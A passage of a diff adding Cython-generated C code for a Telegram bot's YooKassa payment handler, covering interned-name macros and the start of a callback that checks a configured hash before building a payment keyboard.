__pyx_n_s_check_connection_exists __pyx_mstate_global->__pyx_n_s_check_connection_exists +#define __pyx_n_s_choosing_amount_yookassa __pyx_mstate_global->__pyx_n_s_choosing_amount_yookassa +#define __pyx_n_s_class_getitem __pyx_mstate_global->__pyx_n_s_class_getitem +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_n_s_config __pyx_mstate_global->__pyx_n_s_config +#define __pyx_n_s_confirm_keyboard __pyx_mstate_global->__pyx_n_s_confirm_keyboard +#define __pyx_n_u_confirmation __pyx_mstate_global->__pyx_n_u_confirmation +#define __pyx_n_u_confirmation_url __pyx_mstate_global->__pyx_n_u_confirmation_url +#define __pyx_n_s_create __pyx_mstate_global->__pyx_n_s_create +#define __pyx_n_u_currency __pyx_mstate_global->__pyx_n_u_currency +#define __pyx_n_u_customer __pyx_mstate_global->__pyx_n_u_customer +#define __pyx_n_s_customer_email __pyx_mstate_global->__pyx_n_s_customer_email +#define __pyx_n_s_customer_id __pyx_mstate_global->__pyx_n_s_customer_id +#define __pyx_n_s_customer_name __pyx_mstate_global->__pyx_n_s_customer_name +#define __pyx_n_s_data __pyx_mstate_global->__pyx_n_s_data +#define __pyx_n_s_database __pyx_mstate_global->__pyx_n_s_database +#define __pyx_n_s_debug __pyx_mstate_global->__pyx_n_s_debug +#define __pyx_n_u_description __pyx_mstate_global->__pyx_n_u_description +#define __pyx_n_s_dict __pyx_mstate_global->__pyx_n_s_dict +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_doc __pyx_mstate_global->__pyx_n_s_doc +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_n_u_email __pyx_mstate_global->__pyx_n_u_email +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_u_enter_custom_amount_yookassa __pyx_mstate_global->__pyx_n_u_enter_custom_amount_yookassa +#define __pyx_n_s_entering_custom_amount_yookassa __pyx_mstate_global->__pyx_n_s_entering_custom_amount_yookassa +#define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_s_event __pyx_mstate_global->__pyx_n_s_event +#define __pyx_n_s_exists __pyx_mstate_global->__pyx_n_s_exists +#define __pyx_n_s_expected_hash __pyx_mstate_global->__pyx_n_s_expected_hash +#define __pyx_n_s_find_one __pyx_mstate_global->__pyx_n_s_find_one +#define __pyx_n_s_from_user __pyx_mstate_global->__pyx_n_s_from_user +#define __pyx_n_s_full_name __pyx_mstate_global->__pyx_n_s_full_name +#define __pyx_n_u_full_name __pyx_mstate_global->__pyx_n_u_full_name +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get +#define __pyx_n_s_get_key_count __pyx_mstate_global->__pyx_n_s_get_key_count +#define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift +#define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils +#define __pyx_n_s_handlers_payments_yookassa_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_yookassa_pay +#define __pyx_kp_s_handlers_payments_yookassa_pay_p __pyx_mstate_global->__pyx_kp_s_handlers_payments_yookassa_pay_p +#define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts +#define __pyx_kp_u_https_pocomacho_ru_success_html __pyx_mstate_global->__pyx_kp_u_https_pocomacho_ru_success_html +#define __pyx_n_s_i __pyx_mstate_global->__pyx_n_s_i +#define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id +#define __pyx_n_u_id __pyx_mstate_global->__pyx_n_u_id +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_info __pyx_mstate_global->__pyx_n_s_info +#define __pyx_n_s_init_subclass __pyx_mstate_global->__pyx_n_s_init_subclass +#define __pyx_n_s_initializing __pyx_mstate_global->__pyx_n_s_initializing +#define __pyx_n_s_inline_keyboard __pyx_mstate_global->__pyx_n_s_inline_keyboard +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_n_s_isdigit __pyx_mstate_global->__pyx_n_s_isdigit +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_u_items __pyx_mstate_global->__pyx_n_u_items +#define __pyx_n_s_json __pyx_mstate_global->__pyx_n_s_json +#define __pyx_n_s_key_count __pyx_mstate_global->__pyx_n_s_key_count +#define __pyx_n_s_logger __pyx_mstate_global->__pyx_n_s_logger +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_message __pyx_mstate_global->__pyx_n_s_message +#define __pyx_n_s_metaclass __pyx_mstate_global->__pyx_n_s_metaclass +#define __pyx_n_s_metadata __pyx_mstate_global->__pyx_n_s_metadata +#define __pyx_n_u_metadata __pyx_mstate_global->__pyx_n_u_metadata +#define __pyx_n_s_module __pyx_mstate_global->__pyx_n_s_module +#define __pyx_n_s_mro_entries __pyx_mstate_global->__pyx_n_s_mro_entries +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_u_object __pyx_mstate_global->__pyx_n_u_object +#define __pyx_n_s_paid __pyx_mstate_global->__pyx_n_s_paid +#define __pyx_n_u_pay __pyx_mstate_global->__pyx_n_u_pay +#define __pyx_n_u_pay_yookassa __pyx_mstate_global->__pyx_n_u_pay_yookassa +#define __pyx_n_s_payment __pyx_mstate_global->__pyx_n_s_payment +#define __pyx_n_s_payment_id __pyx_mstate_global->__pyx_n_s_payment_id +#define __pyx_n_s_payment_object __pyx_mstate_global->__pyx_n_s_payment_object +#define __pyx_n_s_payment_url __pyx_mstate_global->__pyx_n_s_payment_url +#define __pyx_n_u_pending __pyx_mstate_global->__pyx_n_u_pending +#define __pyx_n_u_phone __pyx_mstate_global->__pyx_n_u_phone +#define __pyx_n_s_prepare __pyx_mstate_global->__pyx_n_s_prepare +#define __pyx_n_s_process_amount_selection __pyx_mstate_global->__pyx_n_s_process_amount_selection +#define __pyx_n_s_process_callback_pay_yookassa __pyx_mstate_global->__pyx_n_s_process_callback_pay_yookassa +#define __pyx_n_s_process_custom_amount_input __pyx_mstate_global->__pyx_n_s_process_custom_amount_input +#define __pyx_n_s_process_enter_custom_amount __pyx_mstate_global->__pyx_n_s_process_enter_custom_amount +#define __pyx_n_s_qualname __pyx_mstate_global->__pyx_n_s_qualname +#define __pyx_n_u_quantity __pyx_mstate_global->__pyx_n_u_quantity +#define __pyx_n_s_range __pyx_mstate_global->__pyx_n_s_range +#define __pyx_n_u_receipt __pyx_mstate_global->__pyx_n_u_receipt +#define __pyx_n_u_redirect __pyx_mstate_global->__pyx_n_u_redirect +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_request __pyx_mstate_global->__pyx_n_s_request +#define __pyx_n_u_return_url __pyx_mstate_global->__pyx_n_u_return_url +#define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_n_s_secret_key __pyx_mstate_global->__pyx_n_s_secret_key +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_send_payment_success_notificatio __pyx_mstate_global->__pyx_n_s_send_payment_success_notificatio +#define __pyx_n_s_session __pyx_mstate_global->__pyx_n_s_session +#define __pyx_n_s_set_name __pyx_mstate_global->__pyx_n_s_set_name +#define __pyx_n_s_set_state __pyx_mstate_global->__pyx_n_s_set_state +#define __pyx_kp_u_solo_net __pyx_mstate_global->__pyx_kp_u_solo_net +#define __pyx_kp_u_solonet_sup __pyx_mstate_global->__pyx_kp_u_solonet_sup +#define __pyx_n_s_spec __pyx_mstate_global->__pyx_n_s_spec +#define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split +#define __pyx_n_s_startswith __pyx_mstate_global->__pyx_n_s_startswith +#define __pyx_n_s_state __pyx_mstate_global->__pyx_n_s_state +#define __pyx_n_s_status __pyx_mstate_global->__pyx_n_s_status +#define __pyx_n_u_status __pyx_mstate_global->__pyx_n_u_status +#define __pyx_n_u_succeeded __pyx_mstate_global->__pyx_n_u_succeeded +#define __pyx_n_s_super __pyx_mstate_global->__pyx_n_s_super +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_u_text __pyx_mstate_global->__pyx_n_u_text +#define __pyx_n_s_tg_id __pyx_mstate_global->__pyx_n_s_tg_id +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_trial __pyx_mstate_global->__pyx_n_s_trial +#define __pyx_n_u_type __pyx_mstate_global->__pyx_n_u_type +#define __pyx_n_s_types __pyx_mstate_global->__pyx_n_s_types +#define __pyx_kp_s_types_CallbackQuery __pyx_mstate_global->__pyx_kp_s_types_CallbackQuery +#define __pyx_kp_s_types_Message __pyx_mstate_global->__pyx_kp_s_types_Message +#define __pyx_n_s_typing __pyx_mstate_global->__pyx_n_s_typing +#define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance +#define __pyx_n_s_update_data __pyx_mstate_global->__pyx_n_s_update_data +#define __pyx_n_s_url __pyx_mstate_global->__pyx_n_s_url +#define __pyx_n_s_user_id __pyx_mstate_global->__pyx_n_s_user_id +#define __pyx_n_u_user_id __pyx_mstate_global->__pyx_n_u_user_id +#define __pyx_kp_u_user_id_amount __pyx_mstate_global->__pyx_kp_u_user_id_amount +#define __pyx_n_s_user_id_str __pyx_mstate_global->__pyx_n_s_user_id_str +#define __pyx_n_s_uuid __pyx_mstate_global->__pyx_n_s_uuid +#define __pyx_n_s_uuid4 __pyx_mstate_global->__pyx_n_s_uuid4 +#define __pyx_n_u_value __pyx_mstate_global->__pyx_n_u_value +#define __pyx_n_u_vat_code __pyx_mstate_global->__pyx_n_u_vat_code +#define __pyx_n_s_waiting_for_payment_confirmation __pyx_mstate_global->__pyx_n_s_waiting_for_payment_confirmation +#define __pyx_n_s_warning __pyx_mstate_global->__pyx_n_s_warning +#define __pyx_n_s_web __pyx_mstate_global->__pyx_n_s_web +#define __pyx_n_u_yookassa __pyx_mstate_global->__pyx_n_u_yookassa +#define __pyx_n_s_yookassa_2 __pyx_mstate_global->__pyx_n_s_yookassa_2 +#define __pyx_n_u_yookassa_2 __pyx_mstate_global->__pyx_n_u_yookassa_2 +#define __pyx_kp_u_yookassa_amount __pyx_mstate_global->__pyx_kp_u_yookassa_amount +#define __pyx_n_s_yookassa_webhook __pyx_mstate_global->__pyx_n_s_yookassa_webhook +#define __pyx_float_0_0 __pyx_mstate_global->__pyx_float_0_0 +#define __pyx_int_0 __pyx_mstate_global->__pyx_int_0 +#define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 +#define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 +#define __pyx_int_200 __pyx_mstate_global->__pyx_int_200 +#define __pyx_int_400 __pyx_mstate_global->__pyx_int_400 +#define __pyx_int_500 __pyx_mstate_global->__pyx_int_500 +#define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ +#define __pyx_tuple__7 __pyx_mstate_global->__pyx_tuple__7 +#define __pyx_tuple__19 __pyx_mstate_global->__pyx_tuple__19 +#define __pyx_tuple__27 __pyx_mstate_global->__pyx_tuple__27 +#define __pyx_tuple__28 __pyx_mstate_global->__pyx_tuple__28 +#define __pyx_tuple__29 __pyx_mstate_global->__pyx_tuple__29 +#define __pyx_tuple__30 __pyx_mstate_global->__pyx_tuple__30 +#define __pyx_tuple__31 __pyx_mstate_global->__pyx_tuple__31 +#define __pyx_tuple__32 __pyx_mstate_global->__pyx_tuple__32 +#define __pyx_codeobj__5 __pyx_mstate_global->__pyx_codeobj__5 +#define __pyx_codeobj__13 __pyx_mstate_global->__pyx_codeobj__13 +#define __pyx_codeobj__16 __pyx_mstate_global->__pyx_codeobj__16 +#define __pyx_codeobj__20 __pyx_mstate_global->__pyx_codeobj__20 +/* #### Code section: module_code ### */ +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yookassa_pay.py":43 + * + * + * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_yookassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa = {"process_callback_pay_yookassa", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[3] = {0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_yookassa (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 43, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 43, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, 1); __PYX_ERR(0, 43, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 43, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, 2); __PYX_ERR(0, 43, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_yookassa") < 0)) __PYX_ERR(0, 43, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 3)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + __pyx_v_session = values[2]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 43, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_callback_pay_yookassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_process_callback_pay_yookassa(__pyx_self, __pyx_v_callback_query, __pyx_v_state, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_process_callback_pay_yookassa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_callback_pay_yookassa", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 43, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_yookassa, __pyx_n_s_process_callback_pay_yookassa, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_callback_pay_yookassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + int __pyx_t_2; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + unsigned int __pyx_t_5; + Py_ssize_t __pyx_t_6; + PyObject *(*__pyx_t_7)(PyObject *); + Py_ssize_t __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_yookassa", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L5_resume_from_await; + case 2: goto __pyx_L10_resume_from_await; + case 3: goto __pyx_L12_resume_from_await; + case 4: goto __pyx_L14_resume_from_await; + case 5: goto __pyx_L15_resume_from_await; + case 6: goto __pyx_L16_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 43, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":48 + * ): + * + * expected_hash = "HASHHASHYOOKASSA" # <<<<<<<<<<<<<< + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") + */ + __Pyx_INCREF(__pyx_n_u_HASHHASHYOOKASSA); + __Pyx_GIVEREF(__pyx_n_u_HASHHASHYOOKASSA); + __pyx_cur_scope->__pyx_v_expected_hash = __pyx_n_u_HASHHASHYOOKASSA; + + /* "handlers/payments/yookassa_pay.py":49 + * + * expected_hash = "HASHHASHYOOKASSA" + * if YOOKASSA_HASH != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/yookassa_pay.py":50 + * expected_hash = "HASHHASHYOOKASSA" + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") # <<<<<<<<<<<<<< + * await callback_query.message.answer( + * text=" , @solonet_sup." + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u_YOOKASSA_HASH_2}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":51 + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":52 + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( + * text=" , @solonet_sup." # <<<<<<<<<<<<<< + * ) + * return + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 52, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":51 + * if YOOKASSA_HASH != expected_hash: + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 51, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 51, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":54 + * text=" , @solonet_sup." + * ) + * return # <<<<<<<<<<<<<< + * tg_id = callback_query.message.chat.id + * + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/yookassa_pay.py":49 + * + * expected_hash = "HASHHASHYOOKASSA" + * if YOOKASSA_HASH != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( + */ + } + + /* "handlers/payments/yookassa_pay.py":55 + * ) + * return + * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * + * builder = InlineKeyboardBuilder() + 